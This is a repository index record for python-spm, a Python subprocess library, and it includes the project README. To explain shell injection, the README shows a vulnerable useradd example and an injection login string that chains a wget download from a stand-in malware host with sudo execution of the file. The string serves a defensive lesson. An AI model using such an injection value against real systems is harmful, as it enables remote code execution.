{"id":18100388,"url":"https://github.com/acatton/python-spm","last_synced_at":"2025-04-13T16:10:37.681Z","repository":{"id":29887410,"uuid":"33432849","full_name":"acatton/python-spm","owner":"acatton","description":":muscle: Simple and secure sub processes manager","archived":false,"fork":false,"pushed_at":"2015-07-24T05:25:27.000Z","size":266,"stargazers_count":10,"open_issues_count":2,"forks_count":3,"subscribers_count":5,"default_branch":"master","last_synced_at":"2023-11-20T16:22:03.173Z","etag":null,"topics":["clean-api","for-humans","injection","python","secure","security","shell","subprocess"],"latest_commit_sha":null,"homepage":"https://python-spm.readthedocs.org/en/latest/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/acatton.png","metadata":{"files":{"readme":"README.rst","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"docs/security.rst","support":null}},"created_at":"2015-04-05T06:39:47.000Z","updated_at":"2023-01-15T08:43:38.000Z","dependencies_parsed_at":"2022-09-19T09:50:25.678Z","dependency_job_id":null,"html_url":"https://github.com/acatton/python-spm","commit_stats":null,"previous_names":[],"tags_count":2,"template":null,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acatton%2Fpython-spm","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acatton%2Fpython-spm/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acatton%2Fpython-spm/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acatton%2Fpython-spm/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/acatton","download_url":"https://codeload.github.com/acatton/python-spm/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248741201,"owners_count":21154255,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["clean-api","for-humans","injection","python","secure","security","shell","subprocess"],"created_at":"2024-10-31T21:14:00.993Z","updated_at":"2025-04-13T16:10:37.660Z","avatar_url":"https://github.com/acatton.png","language":"Python","readme":"spm (SubProcessesManager)\n=========================\n\n.. image:: https://travis-ci.org/acatton/python-spm.svg?branch=master\n    :target: https://travis-ci.org/acatton/python-spm\n\n.. code:: python\n\n    \u003e\u003e\u003e import spm\n    \u003e\u003e\u003e spm.run('echo', '-n', 'hello world').stdout.read()\n    'hello world'\n    \u003e\u003e\u003e import functools\n    \u003e\u003e\u003e git = functools.partial(spm.run, 'git')\n    \u003e\u003e\u003e git('status', '-z').stdout.read().split(b'\\x00')\n    [' M spm.py', '']\n\nThis provides a very thin KISS layer on top of the python standard library's\n``subprocess`` module. This library supports Python 2 and Python 3.\n\nThis makes it easy to pipe subprocesses, and pipe subprocesses input/output\nto files.\n\nIt only has four rules:\n\n* Simple programming interface\n* Don't reimplement the wheel. (It tries uses the ``subprocess`` standard\n  module as much as possible) \n* It only does one thing, and try to do it well.\n* Use argument list instead of one command string.\n\nSecure subprocess invocation\n----------------------------\n\nFor those who don't understand the last rule. There are two ways to ways to\ninvoke subprocesses in python: One method is insecure, the other one is\nsecure.\n\n.. code:: python\n\n    import subprocess\n\n    # Insecure subprocess invocation\n    subprocess.check_call(\"echo foo\", shell=True)\n    # Secure subprocess invocation\n    subprocess.check_call(['echo', 'foo'])\n\nThe second one is secure, because it prevents shell code injection. If we over\nsimplify, the first method, could be implemented this way:\n\n.. code:: python\n\n    def insecure_check_call(command_line):\n        \"\"\"\n        Same as check_call(shell=True)\n        \"\"\"\n        # Runs /bin/bash -c \"the given command line\"\n        subprocess.check_call(['/bin/bash', '-c', command_line])\n\n\nLet's use the following code as example:\n\n.. code:: python\n\n    import subprocess\n    # Get insecure and unchecked data from a user\n    from somewhere import get_login_from_user()\n\n    def create_user():\n        cmd = \"sudo useradd '{}'\".format(get_login_from_user())\n        subprocess.check_call(cmd)\n\nA user can inject code if they enter the login\n``' || wget http://malware.example.com/malware -O /tmp \u0026\u0026 sudo /tmp/malware``.\nBecause this will execute:\n``sudo user '' || wget [...] -O /tmp \u0026\u0026 sudo /tmp/malware``.\n\nWhy another library?\n--------------------\n\n.. image:: https://imgs.xkcd.com/comics/standards.png\n   :alt: XKCD Comic strip: \"How Standards Profilef\n   :align: center\n\nHere are the existing libraries:\n\n* sh_: doing too much. The programming interface for piping commands is\n  complex and bad.\n* execute_: old, vulnerable to shell injection.\n* sarge_: doing too much, vulnerable to shell injection.\n* envoy_: too complicated, and vulnerable to shell injection.\n\nAnd many other are unmaintained or worse.\n\n.. _sh: https://amoffat.github.io/sh/\n.. _execute: https://pythonhosted.org/execute/\n.. _sarge: http://sarge.readthedocs.org/en/latest/\n.. _envoy: https://github.com/kennethreitz/envoy\n\n\nWhat do you mean by KISS?\n-------------------------\n\nKISS lost its original sense. Now it's just an hipster word which means \"just\nuse my library because it's cool\".\n\nHere I mean KISS in its original sense: Keep It Simple, Stupid.\n\n* this library is one file with less than 500 lines (excluding testing)\n* this library has two functions: ``pipe()`` and ``run()``\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Facatton%2Fpython-spm","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Facatton%2Fpython-spm","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Facatton%2Fpython-spm/lists"}